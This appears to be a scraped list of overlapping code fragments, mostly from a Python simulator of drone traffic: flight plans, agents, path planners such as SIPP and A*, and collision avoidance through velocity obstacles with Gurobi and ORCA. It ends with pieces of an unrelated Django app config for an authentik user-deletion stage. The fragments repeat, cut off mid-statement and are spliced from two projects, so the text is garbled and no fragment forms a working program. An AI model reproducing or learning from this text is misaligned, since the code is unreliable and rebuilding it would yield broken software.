name='x')", "= self.compute_straight_move(pos, self.goal, self.maxSpeed, dt) d = np.linalg.norm(self.goal - pos) plan.append(pos) if d", "or self.flight_status == 'ongoing': agent_log['actual_time_of_departure'] = self.start_time if self.flight_status == 'finished': ideal_length =", "if np.linalg.norm(self.position - vehicle.position) <= self.radius: self.flight_status = 'waiting' return False self.start_time =", "Will return itself so query one more neighbor neighbors = self.environment.get_nearest_neighbors(self.position, k+1, max_radius)", "self.t_removed_from_sim=t_removed_from_sim if goal_pos is not None: self.trajectory.append(np.copy(goal_pos)) self.trajectory_times.append(t) def log_agent(self): agent_log = {'flight_status':", "trajectory ') # happens if start and goal are really close print(self.start) print(self.goal)", "not None: agent_log['time_removed_from_sim']=self.t_removed_from_sim agent_log['heading']= heading agent_log['density']= self.density if self.agent_logic == 'strategic': agent_log['time_to_preflight'] =", "np.linalg.norm(self.goal - self.position) speed = min(d / dt, self.maxSpeed) if d == 0:", "self.maxSpeed, self.centralized_manager) success, plan, times = astar_planner.search() if not success: self.flight_status = 'cancelled'", "* dt: pos = self.compute_straight_move(pos, self.goal, self.maxSpeed, dt) d = np.linalg.norm(self.goal - pos)", "dt, debug=False, density=0): \"\"\" Store the next position in self.new_position. The position is", "self.time_step = None self.times = np.array(times) else: self.times = np.array([self.start_time + i *", "'finished': ideal_length = float(np.linalg.norm(self.goal - self.start)) actual_length = 0 if self.trajectory == []:", "' is not implemented') def can_safely_take_off(self, t): if self.algo_type == 'straight': return True", "def get_VO(intruder_agent, ownship_agent): if intruder_agent == ownship_agent: print('get_VO this should not happen intruder", "end self.position = np.copy(self.start) # Passed by reference self.new_position = np.copy(self.start) self.radius =", "model.addVars(2 * len(intruders), vtype=GRB.BINARY) model.update() X = model.getVars() n_intruder = 0 for intruder", "position is updated when move is called \"\"\" if self.agent_logic == 'dumb': self.new_position", "require larger tolerance # TODO tolerances are a bit of a mess while", "t_cpa=-np.dot(delta_pos, delta_vel) / np.dot(delta_vel, delta_vel) dcpa = delta_pos+delta_vel*t_cpa dabsH = np.linalg.norm(dcpa) # If", "# must be smaller normal_2 = np.array([-vector2[1], vector2[0]]) # Rotated -90 degrees constraint2", "np.linalg.norm(self.velocity) theta=math.copysign(max_angle,turn_angle) return vel @ np.asarray([[math.cos(theta), math.sin(theta)], [-math.sin(theta), math.cos(theta)]]) else: return new_velocity *", "self.density = density if self.centralized_manager is None: print('agent.py preflight error, a centralized manager", "[start_index, end_index] = np.searchsorted(self.times, [trajectory_start_time, trajectory_end_time]) temp = self.times[start_index] if abs(self.times[start_index]-trajectory_start_time) > 1e-4:", "- 1) if lower != start_index_float: pos_0 = self.get_planned_position_at(start_time) trajectory.append(np.copy(pos_0)) times.append(trajectory_start_time) for index", "# Based on Hoekstra Bluesky simulator # The returned velocity might not be", "- desired_vel[0]) + (X[1] - desired_vel[1]) * (X[1] - desired_vel[1]), GRB.MINIMIZE) model.setParam(\"OutputFlag\", 0)", "start_time self.start_time = start_time # actual start time if a ground delay is", "success, plan, times = local_planner.search() if not success: self.flight_status = 'cancelled' return None", "if (start_time - self.end_time) >= -1e-4 or (end_time - self.start_time) <= 1e-4: return", "else: return self.times[-1] class Agent: def __init__(self, env, radius, max_speed, start=None, end=None, start_time=0,", "v_clamped = my_utils.clamp(self.minSpeed, self.maxSpeed, v) if self.agent_dynamics is None: return new_velocity * v_clamped", "to goal is 0') desired_velocity = (self.goal - self.position) * speed / d", "timer_start = python_time.time() plan = [] plan.append(self.start) pos = np.copy(self.start) d = np.linalg.norm(self.goal", "= timer_end - timer_start return None self.start_time = times[0] self.flightPlan = Flightplan(times[0], times[1]", "plan must exist') return self.start_time def compute_next_move(self, current_time, dt, debug=False, density=0): \"\"\" Store", "call to search sorted trajectory.append(self.get_planned_position_at(trajectory_start_time)) times.append(trajectory_start_time) for i in range(start_index, end_index): trajectory.append(self.positions[i]) times.append(self.times[i])", "plan pos '+str(plan)) print('agent plan times ' + str(times)) self.flightPlan = Flightplan(times[0], times[1]", "a = constraint(1, 0) - c b = constraint(0, 1) - c #", "def setupMIQCP(intruders, desired_vel, ownship_agent): \"\"\" Intruders should be an array of agents \"\"\"", "for constraint in constraints_or: c = constraint(0, 0) a = constraint(1, 0) -", "1] <= 1) n_intruder += 1 model.addConstr(X[0] * X[0] + X[1] * X[1]", "plan, times=np.array(times)) timer_end = python_time.time() self.preflight_time = timer_end - timer_start return self.flightPlan if", "time is exactly integer then returns the exact pos if debug: print(idx_float) print(pos_high)", "pathPlanning.SIPP(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager, self.tolerance) success, plan, times = sipp_planner.search() if not", "is planned if np.linalg.norm(self.goal - self.start) == 0: print(agent_logic) print(start) print(end) print(np.linalg.norm(self.goal -", "my_utils.get_angle(self.velocity, new_velocity) max_angle=30*math.pi/180 if abs(turn_angle)>max_angle: vel = self.velocity * v_clamped / np.linalg.norm(self.velocity) theta=math.copysign(max_angle,turn_angle)", "return self.positions[idx_high] idx_float = idx_low + (time - self.times[idx_low]) / (self.times[idx_high] - self.times[idx_low])", "'straight': return True neighbors = self.environment.get_neighbors(self.position, self.radius) for vehicle in neighbors: if t", "in The effects of Swarming on a Voltage Potential-Based Conflict Resolution Algorithm, <NAME>)", "np.linalg.norm(self.position - vehicle.position) <= self.radius: self.flight_status = 'waiting' return False self.start_time = t", "as python_time class Flightplan: def __init__(self, t0, dt, positions, times=None): self.start_time = t0", "len(intruders), vtype=GRB.BINARY) model.update() X = model.getVars() n_intruder = 0 for intruder in intruders:", "self.flight_status = 'waiting' return False self.start_time = t return True def collision_avoidance(self, dt,", "+ (len(self.positions) - 1) * self.time_step else: return self.times[-1] class Agent: def __init__(self,", "self.flight_status = 'initialized' self.algo_type = algo_type self.cumulative_density=0 self.density=0 self.n_steps=0 self.flight_leg=flight_leg def get_predicted_end_time(self): if", "= intruder_agent.position - ownship_agent.position d = np.linalg.norm(rel_pos) if d == 0: print('the distance", "self.flightPlan if algo_type == 'SIPP': timer_start = python_time.time() sipp_planner = pathPlanning.SIPP(self.start, self.goal, self.start_time,", "pos_low + (pos_high - pos_low) * (idx_float - idx_low) def get_planned_trajectory_between(self, start_time, end_time,", "is sorted [start_index, end_index] = np.searchsorted(self.times, [trajectory_start_time, trajectory_end_time]) temp = self.times[start_index] if abs(self.times[start_index]-trajectory_start_time)", "python_time.time() self.preflight_time = timer_end - timer_start return self.flightPlan if algo_type == 'Decoupled': timer_start", "/ dist)) dV =(((self.radius*safety_factor) / erratum - dabsH) * dcpa)/(abs(t_cpa)*dabsH) else: # If", "X[2 + 2 * n_intruder + 1] <= 1) n_intruder += 1 model.addConstr(X[0]", "timer_start = python_time.time() astar_planner = pathPlanning.AStar_8grid(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager) success, plan, times", "self.agent_logic == 'reactive': self.density = self.cumulative_density/self.n_steps - 1 agent_log['flight_status']= self.flight_status agent_log['agent_type']= self.agent_logic agent_log['length_ideal']=", "timer_start = python_time.time() sipp_planner = pathPlanning.SIPP(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager, self.tolerance) success, plan,", "1 the constraint is always respected K = abs(a * max_vel) + abs(b", "None n = len(self.positions) if self.time_step is not None: idx_float = (float(time) -", "is None: return new_velocity * v_clamped / v else: turn_angle = my_utils.get_angle(self.velocity, new_velocity)", "python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return desired_velocity else: print(algo_type+' not implemented ') def get_neighbors(self):", "2: print('the plan is too short') print('agent start '+ str(self.start)) print('agent goal '+str(self.goal))", "self.id: # if np.linalg.norm(self.position - vehicle.position) <= self.radius: self.flight_status = 'waiting' return False", "* v_clamped / np.linalg.norm(self.velocity) theta=math.copysign(max_angle,turn_angle) return vel @ np.asarray([[math.cos(theta), math.sin(theta)], [-math.sin(theta), math.cos(theta)]]) else:", "dist=np.linalg.norm(delta_pos) delta_vel = desired_velocity - neighbor.velocity if np.linalg.norm(delta_vel)==0: t_cpa=0 else: t_cpa=-np.dot(delta_pos, delta_vel) /", "= np.linalg.norm(self.goal - pos) # Larger time steps require larger tolerance # TODO", "times[0], plan, times=np.array(times)) timer_end = python_time.time() self.preflight_time = timer_end - timer_start return self.flightPlan", "+ 2 * n_intruder + 1] <= 1) n_intruder += 1 model.addConstr(X[0] *", "times.append(self.times[i]) # trajectory_end_time <= times[end_index] if abs(self.times[end_index]-trajectory_end_time) > 1e-4: # requires interpolation trajectory.append(self.get_planned_position_at(trajectory_end_time))", "self.flight_status, 'agent_type': self.agent_logic, 'desired_time_of_departure': self.desired_start_time, 'agent_id':self.id} if self.flight_status== 'finished' or self.flight_status == 'ongoing':", "algo_type == 'SIPP': timer_start = python_time.time() sipp_planner = pathPlanning.SIPP(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager,", "because idx_float is an int if return_velocity: if idx_high == n-1: velocity =", "head-on conflict if dabsH<=10: dabsH=10 dcpa[0] = delta_pos[1] / dist * dabsH dcpa[1]", "0) - c b = constraint(0, 1) - c # K must be", "- self.times[idx_low]) pos_high = self.positions[idx_high] pos_low = self.positions[idx_low] # if time is exactly", "= setupMIQCP(intruders, desired_velocity, self) model.optimize() if model.status != GRB.Status.OPTIMAL: print('Error gurobi failed to", "vehicle in neighbors: if t >= vehicle.start_time and vehicle.id != self.id: # if", "self.tolerance) success, plan, times = sipp_planner.search() if not success: self.flight_status = 'cancelled' return", "of Swarming on a Voltage Potential-Based Conflict Resolution Algorithm, <NAME>) # if d<=self.radius:", "model.addConstr(X[2 + 2 * n_intruder] + X[2 + 2 * n_intruder + 1]", "'+str(end_time)) print('positions '+str(self.positions)) print('times '+str(self.times)) print(start_time-self.end_time) if self.time_step is None: # self.times is", "turn_angle = my_utils.get_angle(self.velocity, new_velocity) max_angle=30*math.pi/180 if abs(turn_angle)>max_angle: vel = self.velocity * v_clamped /", "self.cumulative_density/self.n_steps - 1 agent_log['flight_status']= self.flight_status agent_log['agent_type']= self.agent_logic agent_log['length_ideal']= ideal_length agent_log['actual_length']= actual_length agent_log['ideal_time_of_arrival']= self.desired_start_time+ideal_length", "gurobi failed to find a solution') print(model.status) vars = model.getVars() if intruders !=", "is 0') if ownship_agent.radius > d: print('there is an intruder in the protected", "d pos_0 = np.copy(pos) direction = self.goal - self.start heading = math.atan2(direction[1], direction[0])", "we already now the index we could avoid a second call to search", "# trajectory_end_time <= times[end_index] if abs(self.times[end_index]-trajectory_end_time) > 1e-4: # requires interpolation trajectory.append(self.get_planned_position_at(trajectory_end_time)) times.append(trajectory_end_time)", "- self.position) speed = min(d / dt, self.maxSpeed) desired_velocity = (self.goal - self.position)", "print('agent start '+ str(self.start)) print('agent goal '+str(self.goal)) print('agent plan pos '+str(plan)) print('agent plan", "= np.cos(np.arcsin((self.radius*safety_factor) / dist) - np.arcsin(dabsH / dist)) dV =(((self.radius*safety_factor) / erratum -", "c # K must be arbitrarily large so that when the binary constraint", "- self.position) * speed / d model = setupMIQCP(intruders, desired_velocity, self) model.optimize() if", "pos_0 = self.get_planned_position_at(start_time) trajectory.append(np.copy(pos_0)) times.append(trajectory_start_time) for index in range(lower, upper + 1): trajectory.append(self.positions[index])", "intruders = self.get_neighbors() d = np.linalg.norm(self.goal - self.position) speed = min(d / dt,", "agent_log['actual_time_of_departure'] = self.start_time if self.flight_status == 'finished': ideal_length = float(np.linalg.norm(self.goal - self.start)) actual_length", "print(end) print(np.linalg.norm(self.goal - self.start)) self.velocity = self.maxSpeed * (self.goal - self.start) / (np.linalg.norm(self.goal", "X[1] <= max_vel ** 2) model.setObjective( (X[0] - desired_vel[0]) * (X[0] - desired_vel[0])", "self.times[start_index] if abs(self.times[start_index]-trajectory_start_time) > 1e-4: # requires interpolation # Since we already now", "= [] self.trajectory_times = [] self.collision_avoidance_time = [] self.preflight_time = None self.flightPlan =", "math.ceil(start_index_float) upper = min(math.floor(end_index_float), len(self.positions) - 1) if lower != start_index_float: pos_0 =", "self.agent_logic == 'dumb': self.new_position = self.compute_straight_move(self.position, self.goal, self.maxSpeed, dt) self.new_velocity = (self.new_position -", "return self.flightPlan if algo_type == 'SIPP': timer_start = python_time.time() sipp_planner = pathPlanning.SIPP(self.start, self.goal,", "self.id = id self.environment = env self.centralized_manager = centralized_manager self.agent_dynamics = agent_dynamics if", "return np.copy(self.positions[-1]) idx_high = np.searchsorted(self.times, time) idx_low = max(0, idx_high - 1) if", "if np.linalg.norm(delta_vel)==0: t_cpa=0 else: t_cpa=-np.dot(delta_pos, delta_vel) / np.dot(delta_vel, delta_vel) dcpa = delta_pos+delta_vel*t_cpa dabsH", "len(times) < 2: print('the plan is too short') print('agent start '+ str(self.start)) print('agent", "0.1 * normal_1, normal_1) # must be smaller normal_2 = np.array([-vector2[1], vector2[0]]) #", "second call to search sorted trajectory.append(self.get_planned_position_at(trajectory_start_time)) times.append(trajectory_start_time) for i in range(start_index, end_index): trajectory.append(self.positions[i])", "print('agent plan pos '+str(plan)) print('agent plan times ' + str(times)) self.flightPlan = Flightplan(times[0],", "goal on the next time step return current_position + np.array([math.cos(orientation), math.sin(orientation)]) * max_step_length", "print('agent.py preflight error, a centralized manager must exist') if algo_type == 'Straight': timer_start", "pos_0) actual_length += d pos_0 = np.copy(pos) direction = self.goal - self.start heading", "None: return self.start_time + (len(self.positions) - 1) * self.time_step else: return self.times[-1] class", "VO cone half-angle (>=0) theta = math.atan2(rel_pos[1], rel_pos[0]) vector1 = [math.cos(theta + alpha),", "between the flight points \"\"\" if ignore_timed_out and time > self.end_time: if return_velocity:", "self.time_step is not None: self.end_time = self.start_time + (len(self.positions) - 1) * self.time_step", "actual_length += d pos_0 = np.copy(pos) direction = self.goal - self.start heading =", "* (idx_float - idx_low) def get_planned_trajectory_between(self, start_time, end_time, debug=False): \"\"\" Returns trajectory between", "alpha), math.sin(theta + alpha)] vector2 = [math.cos(theta - alpha), math.sin(theta - alpha)] #", "= math.asin(ownship_agent.radius / d) # VO cone half-angle (>=0) theta = math.atan2(rel_pos[1], rel_pos[0])", "of agents \"\"\" model = grb.Model('VO') max_vel = ownship_agent.maxSpeed model.addVar(lb=-max_vel, ub=max_vel, name='x') model.addVar(lb=-max_vel,", "intruder and ownship are the same') rel_pos = intruder_agent.position - ownship_agent.position d =", "if self.t_removed_from_sim is not None: agent_log['time_removed_from_sim']=self.t_removed_from_sim agent_log['heading']= heading agent_log['density']= self.density if self.agent_logic ==", "[math.cos(theta - alpha), math.sin(theta - alpha)] # must be greater normal_1 = np.array([vector1[1],", "self.time_step else: self.end_time=self.times[-1] def get_planned_position_at(self, time, return_velocity=False, ignore_timed_out=False, debug=False): \"\"\" Interpolates between the", "# must be greater normal_1 = np.array([vector1[1], -vector1[0]]) # Rotated +90 degrees constraint1", "of other agents find a free path and publish it self.density = density", "model.status != GRB.Status.OPTIMAL: print('Error gurobi failed to find a solution') print(model.status) vars =", "d = np.linalg.norm(self.goal - self.position) speed = min(d / dt, self.maxSpeed) if d", "self.end_time = self.start_time + (len(self.positions) - 1) * self.time_step else: self.end_time=self.times[-1] def get_planned_position_at(self,", "= density if self.centralized_manager is None: print('agent.py preflight error, a centralized manager must", "type ' + algo_type + ' is not implemented') def can_safely_take_off(self, t): if", "desired_vel[0]) * (X[0] - desired_vel[0]) + (X[1] - desired_vel[1]) * (X[1] - desired_vel[1]),", "dt, debug=debug) self.new_velocity = (self.new_position - self.position) / dt if debug: print('New position", "'ongoing' def compute_straight_move(self, current_position, goal, speed, dt): orientation = math.atan2(goal[1] - current_position[1], goal[0]", "return agent_log def get_VO(intruder_agent, ownship_agent): if intruder_agent == ownship_agent: print('get_VO this should not", "# happens if start and goal are really close print(self.start) print(self.goal) pos_0 =", "* max_vel) + c model.addConstr(a * X[0] + b * X[1] - K", "implemented') def can_safely_take_off(self, t): if self.algo_type == 'straight': return True neighbors = self.environment.get_neighbors(self.position,", "plan, times = decoupled_planner.search() if not success: self.flight_status = 'cancelled' return None self.start_time", "self.velocity_update(self.new_velocity) self.new_position += self.new_velocity * dt if self.agent_logic == 'strategic': # Follow flight", "place protected_area = None # Can't have random start and not random end", "self.orientation = 0 self.minSpeed = 0.0 self.maxSpeed = max_speed self.sensing_radius = sensing_radius self.desired_start_time", "(X[0] - desired_vel[0]) + (X[1] - desired_vel[1]) * (X[1] - desired_vel[1]), GRB.MINIMIZE) model.setParam(\"OutputFlag\",", "versa) if start is None or end is None: self.start, self.goal = self.environment.get_random_start_and_end(protected_area_start=protected_area)", "timer_start return self.flightPlan if algo_type == 'Decoupled': timer_start = python_time.time() decoupled_planner = pathPlanning.DecoupledApproach(self.start,", "'+str(plan)) print('agent plan times ' + str(times)) self.flightPlan = Flightplan(times[0], times[1] - times[0],", "current_position[1], goal[0] - current_position[0]) d = np.linalg.norm(goal - current_position) max_step_length = min(speed *", "0.0]) direction = self.goal - self.position d = np.linalg.norm(direction) desired_velocity = min(self.maxSpeed, d", "== 0: print(agent_logic) print(start) print(end) print(np.linalg.norm(self.goal - self.start)) self.velocity = self.maxSpeed * (self.goal", "else: t_cpa=-np.dot(delta_pos, delta_vel) / np.dot(delta_vel, delta_vel) dcpa = delta_pos+delta_vel*t_cpa dabsH = np.linalg.norm(dcpa) #", "not None: self.end_time = self.start_time + (len(self.positions) - 1) * self.time_step else: self.end_time=self.times[-1]", "timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return desired_velocity + velocity_change elif algo_type ==", "python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return np.array([vars[0].x, vars[1].x]) elif algo_type == 'ORCA': timer_start =", "self.flightPlan if algo_type == 'Decoupled': timer_start = python_time.time() decoupled_planner = pathPlanning.DecoupledApproach(self.start, self.goal, self.start_time,", "k, max_radius): # Will return itself so query one more neighbor neighbors =", "the exact pos if debug: print(idx_float) print(pos_high) print(pos_low) if return_velocity: return pos_low +", "orca import gurobipy as grb from gurobipy import GRB import time as python_time", "(len(self.positions) - 1) * self.time_step else: return self.times[-1] class Agent: def __init__(self, env,", "if debug: print(idx_float) print(pos_high) print(pos_low) if return_velocity: return pos_low + (pos_high - pos_low)", "velocity_update(self, new_velocity): # Introduce kinematic constraints # For now just clamp the velocity", "v else: turn_angle = my_utils.get_angle(self.velocity, new_velocity) max_angle=30*math.pi/180 if abs(turn_angle)>max_angle: vel = self.velocity *", "times = decoupled_planner.search() if not success: self.flight_status = 'cancelled' return None self.start_time =", "= grb.Model('VO') max_vel = ownship_agent.maxSpeed model.addVar(lb=-max_vel, ub=max_vel, name='x') model.addVar(lb=-max_vel, ub=max_vel, name='y') model.addVars(2 *", "self.agent_logic, 'desired_time_of_departure': self.desired_start_time, 'agent_id':self.id} if self.flight_status== 'finished' or self.flight_status == 'ongoing': agent_log['actual_time_of_departure'] =", "/ dist) - np.arcsin(dabsH / dist)) dV =(((self.radius*safety_factor) / erratum - dabsH) *", "# Larger time steps require larger tolerance # TODO tolerances are a bit", "np.linalg.norm(self.start - self.goal) < 10: print('unlikely, agent start and goal are still close')", "max_speed self.sensing_radius = sensing_radius self.desired_start_time = start_time self.start_time = start_time # actual start", "Resolution Algorithm, <NAME>) # if d<=self.radius: # dV=0 # else: for neighbor in", "= delta_pos+delta_vel*t_cpa dabsH = np.linalg.norm(dcpa) # If there is a conflict if dabsH", "in neighbors: # Find Time of Closest Approach delta_pos = self.position - neighbor.position", "self.goal - self.start heading = math.atan2(direction[1], direction[0]) if self.agent_logic == 'reactive': self.density =", "ub=max_vel, name='y') model.addVars(2 * len(intruders), vtype=GRB.BINARY) model.update() X = model.getVars() n_intruder = 0", "self.flightPlan if algo_type == 'A_star_8': timer_start = python_time.time() astar_planner = pathPlanning.AStar_8grid(self.start, self.goal, self.start_time,", "= Flightplan(times[0], times[1] - times[0], plan, times=np.array(times)) timer_end = python_time.time() self.preflight_time = timer_end", "if t_cpa<=0: dV = 0 else: dV =(self.radius*safety_factor - dabsH)*dcpa/(abs(t_cpa)*dabsH) velocity_change += dV", "= None self.times = np.array(times) else: self.times = np.array([self.start_time + i * self.time_step", "self.environment.get_random_start_and_end(protected_area_start=protected_area) if np.linalg.norm(self.start - self.goal) < 10: # Play one more time #", "np.searchsorted(self.times, time) idx_low = max(0, idx_high - 1) if self.times[idx_high] == time or", "d == 0: print('VO, this should not happen') print('distance to goal is 0')", "print(pos_high) print(pos_low) if return_velocity: return pos_low + (pos_high - pos_low) * (idx_float -", "= timer_end - timer_start return self.flightPlan else: print('The algo type ' + algo_type", "not success: self.flight_status = 'cancelled' return None self.start_time = times[0] ## Debug if", "* dabsH dcpa[1] = -delta_pos[0] / dist * dabsH if self.radius*safety_factor < dist:", "print('agent start and goal are close, redrawing at random') self.start, self.goal = self.environment.get_random_start_and_end(protected_area_start=protected_area)", "start_index_float = float((trajectory_start_time - self.start_time) / self.time_step) end_index_float = float((trajectory_end_time - self.start_time) /", "= min(math.ceil(idx_float), n - 1) if idx_low == idx_high: # Indices are equal", "np.linalg.norm(self.goal - self.start) == 0: print(agent_logic) print(start) print(end) print(np.linalg.norm(self.goal - self.start)) self.velocity =", "model.addConstr(X[0] * X[0] + X[1] * X[1] <= max_vel ** 2) model.setObjective( (X[0]", "model.addConstr(a * X[0] + b * X[1] - K * X[2 + 2", "uam_simulator import orca import gurobipy as grb from gurobipy import GRB import time", "= 'cancelled' timer_end = python_time.time() self.preflight_time = timer_end - timer_start return None self.start_time", "vector2 = [math.cos(theta - alpha), math.sin(theta - alpha)] # must be greater normal_1", "return self.flightPlan else: print('The algo type ' + algo_type + ' is not", "dist * dabsH dcpa[1] = -delta_pos[0] / dist * dabsH if self.radius*safety_factor <", "== []: return [] else: return neighbors[neighbors != self] def get_nearest_neighbors(self, k, max_radius):", "self.position d = np.linalg.norm(direction) desired_velocity = min(self.maxSpeed, d / dt) * direction /", "normal_1 = np.array([vector1[1], -vector1[0]]) # Rotated +90 degrees constraint1 = lambda x, y:", "return None n = len(self.positions) if self.time_step is not None: idx_float = (float(time)", "= 'ok' self.agent_logic = agent_logic self.tolerance = self.environment.tolerance self.t_removed_from_sim=None if agent_logic == 'dumb':", "self.goal = self.environment.get_random_start_and_end(protected_area_start=protected_area) if np.linalg.norm(self.start - self.goal) < 10: print('unlikely, agent start and", "self.collision_avoidance_time.append(timer_end - timer_start) return desired_velocity + velocity_change elif algo_type == 'VO': timer_start =", "* n_intruder + n_constraint] <= -c) n_constraint += 1 model.addConstr(X[2 + 2 *", "print('old position ' + str(self.position)) if self.trajectory == []: self.trajectory.append(np.copy(self.position)) self.trajectory_times.append(current_time) self.trajectory.append(np.copy(self.new_position)) self.trajectory_times.append(current_time", "= 'cancelled' return None self.start_time = times[0] ## Debug if len(times) < 2:", "constraints_or: c = constraint(0, 0) a = constraint(1, 0) - c b =", "if np.linalg.norm(self.start - self.goal) < 10: print('unlikely, agent start and goal are still", "[] else: return neighbors[neighbors != self] def get_nearest_neighbors(self, k, max_radius): # Will return", "self.collision_avoidance_time = [] self.preflight_time = None self.flightPlan = None self.status = 'ok' self.agent_logic", "= sum(self.collision_avoidance_time) return agent_log def get_VO(intruder_agent, ownship_agent): if intruder_agent == ownship_agent: print('get_VO this", "python_time.time() reactive_solver = orca.ORCA() vel=reactive_solver.compute_new_velocity(self, dt) timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return", "/ erratum - dabsH) * dcpa)/(abs(t_cpa)*dabsH) else: # If already moving away from", "== 0: print('the distance between the two agents is 0') if ownship_agent.radius >", "if idx_high == n-1: velocity = np.array([0, 0]) else: velocity = (self.positions[idx_high+1]-self.positions[idx_high])/(self.times[idx_high+1]-self.times[idx_high]) return", "not None: idx_float = (float(time) - float(self.start_time)) / float(self.time_step) idx_low = min(math.floor(idx_float), n", "self.position) speed = min(d / dt, self.maxSpeed) desired_velocity = (self.goal - self.position) *", "/ dt, self.maxSpeed) if d == 0: print('VO, this should not happen') print('distance", "neighbors[neighbors != self] def finish_flight(self, t,goal_pos=None, t_removed_from_sim=None): self.flight_status = 'finished' self.arrival_time = t", "self.times[idx_high] == time or idx_low == idx_high: if return_velocity: if idx_high == n-1:", "= self.preflight_time elif self.agent_logic == 'reactive': agent_log['average_time_to_plan_avoidance'] = sum(self.collision_avoidance_time) / len(self.collision_avoidance_time) agent_log['total_planning_time'] =", "print('there is an intruder in the protected radius') print(ownship_agent.position) print(intruder_agent.position) alpha = math.asin(ownship_agent.radius", "is 1 the constraint is always respected K = abs(a * max_vel) +", "self.collision_avoidance_time.append(timer_end - timer_start) return vel elif algo_type == 'straight': timer_start = python_time.time() d", "self.time_step is None: # self.times is sorted [start_index, end_index] = np.searchsorted(self.times, [trajectory_start_time, trajectory_end_time])", "if self.radius*safety_factor < dist: erratum = np.cos(np.arcsin((self.radius*safety_factor) / dist) - np.arcsin(dabsH / dist))", "abs(b * max_vel) + c model.addConstr(a * X[0] + b * X[1] -", "return pos_low + (pos_high - pos_low) * (idx_float - idx_low), (pos_high-pos_low)/(self.times[idx_high]-self.times[idx_low]) else: return", "if self.time_step is not None: return self.start_time + (len(self.positions) - 1) * self.time_step", "+ (pos_high - pos_low) * (idx_float - idx_low) def get_planned_trajectory_between(self, start_time, end_time, debug=False):", "for neighbor in neighbors: # Find Time of Closest Approach delta_pos = self.position", "pos '+str(plan)) print('agent plan times ' + str(times)) self.flightPlan = Flightplan(times[0], times[1] -", "agents can wait in place protected_area = None # Can't have random start", "self.environment.get_neighbors(self.position, self.sensing_radius) if neighbors == []: return [] else: return neighbors[neighbors != self]", "(start_time - self.end_time) >= -1e-4 or (end_time - self.start_time) <= 1e-4: return None,", "- timer_start return self.flightPlan if algo_type == 'Decoupled': timer_start = python_time.time() decoupled_planner =", "gurobipy import GRB import time as python_time class Flightplan: def __init__(self, t0, dt,", "is None or end is None: self.start, self.goal = self.environment.get_random_start_and_end(protected_area_start=protected_area) if np.linalg.norm(self.start -", "Given, the start/goals and published flight plans of other agents find a free", "self.get_neighbors() velocity_change = np.asarray([0.0, 0.0]) direction = self.goal - self.position d = np.linalg.norm(direction)", "start and goal are still close') else: self.start = start self.goal = end", "get_end_time(self): if self.time_step is not None: return self.start_time + (len(self.positions) - 1) *", "/ len(self.collision_avoidance_time) agent_log['total_planning_time'] = sum(self.collision_avoidance_time) return agent_log def get_VO(intruder_agent, ownship_agent): if intruder_agent ==", "agent_log['density']= self.density if self.agent_logic == 'strategic': agent_log['time_to_preflight'] = self.preflight_time elif self.agent_logic == 'reactive':", "[]: # plotter([-1000,1000],[-1000,1000],100,[get_VO(intruders[0],self)],chosen_v=np.array([vars[0].x,vars[1].x])) pass timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return np.array([vars[0].x, vars[1].x])", "- K * X[2 + 2 * n_intruder + n_constraint] <= -c) n_constraint", "- np.arcsin(dabsH / dist)) dV =(((self.radius*safety_factor) / erratum - dabsH) * dcpa)/(abs(t_cpa)*dabsH) else:", "# print('agent start and goal are close, redrawing at random') self.start, self.goal =", "next time step return current_position + np.array([math.cos(orientation), math.sin(orientation)]) * max_step_length def move(self): self.position", "= python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return vel elif algo_type == 'straight': timer_start =", "else: self.times = np.array([self.start_time + i * self.time_step for i in range(0, len(self.positions))])", "intruder in intruders: constraints_or = get_VO(intruder, ownship_agent) n_constraint = 0 for constraint in", "dabsH < self.radius: # If head-on conflict if dabsH<=10: dabsH=10 dcpa[0] = delta_pos[1]", "plans of other agents find a free path and publish it self.density =", "if model.status != GRB.Status.OPTIMAL: print('Error gurobi failed to find a solution') print(model.status) vars", "= min(end_time, self.end_time) trajectory_start_time = max(start_time, self.start_time) trajectory = [] times = []", "- 1) idx_high = min(math.ceil(idx_float), n - 1) if idx_low == idx_high: #", "flight plan must exist') return self.start_time def compute_next_move(self, current_time, dt, debug=False, density=0): \"\"\"", "max_angle=30*math.pi/180 if abs(turn_angle)>max_angle: vel = self.velocity * v_clamped / np.linalg.norm(self.velocity) theta=math.copysign(max_angle,turn_angle) return vel" ]
[ "<reponame>BeryJu/passbook \"\"\"authentik delete stage app config\"\"\" from django.apps import AppConfig class AuthentikStageUserDeleteConfig(AppConfig): \"\"\"authentik", "\"\"\"authentik delete stage config\"\"\" name = \"authentik.stages.user_delete\" label = \"authentik_stages_user_delete\" verbose_name = \"authentik", "config\"\"\" from django.apps import AppConfig class AuthentikStageUserDeleteConfig(AppConfig): \"\"\"authentik delete stage config\"\"\" name =", "AuthentikStageUserDeleteConfig(AppConfig): \"\"\"authentik delete stage config\"\"\" name = \"authentik.stages.user_delete\" label = \"authentik_stages_user_delete\" verbose_name =", "delete stage config\"\"\" name = \"authentik.stages.user_delete\" label = \"authentik_stages_user_delete\" verbose_name = \"authentik Stages.User", "\"\"\"authentik delete stage app config\"\"\" from django.apps import AppConfig class AuthentikStageUserDeleteConfig(AppConfig): \"\"\"authentik delete", "from django.apps import AppConfig class AuthentikStageUserDeleteConfig(AppConfig): \"\"\"authentik delete stage config\"\"\" name = \"authentik.stages.user_delete\"", "AppConfig class AuthentikStageUserDeleteConfig(AppConfig): \"\"\"authentik delete stage config\"\"\" name = \"authentik.stages.user_delete\" label = \"authentik_stages_user_delete\"", "import AppConfig class AuthentikStageUserDeleteConfig(AppConfig): \"\"\"authentik delete stage config\"\"\" name = \"authentik.stages.user_delete\" label =", "class AuthentikStageUserDeleteConfig(AppConfig): \"\"\"authentik delete stage config\"\"\" name = \"authentik.stages.user_delete\" label = \"authentik_stages_user_delete\" verbose_name", "app config\"\"\" from django.apps import AppConfig class AuthentikStageUserDeleteConfig(AppConfig): \"\"\"authentik delete stage config\"\"\" name", "stage config\"\"\" name = \"authentik.stages.user_delete\" label = \"authentik_stages_user_delete\" verbose_name = \"authentik Stages.User Delete\"", "django.apps import 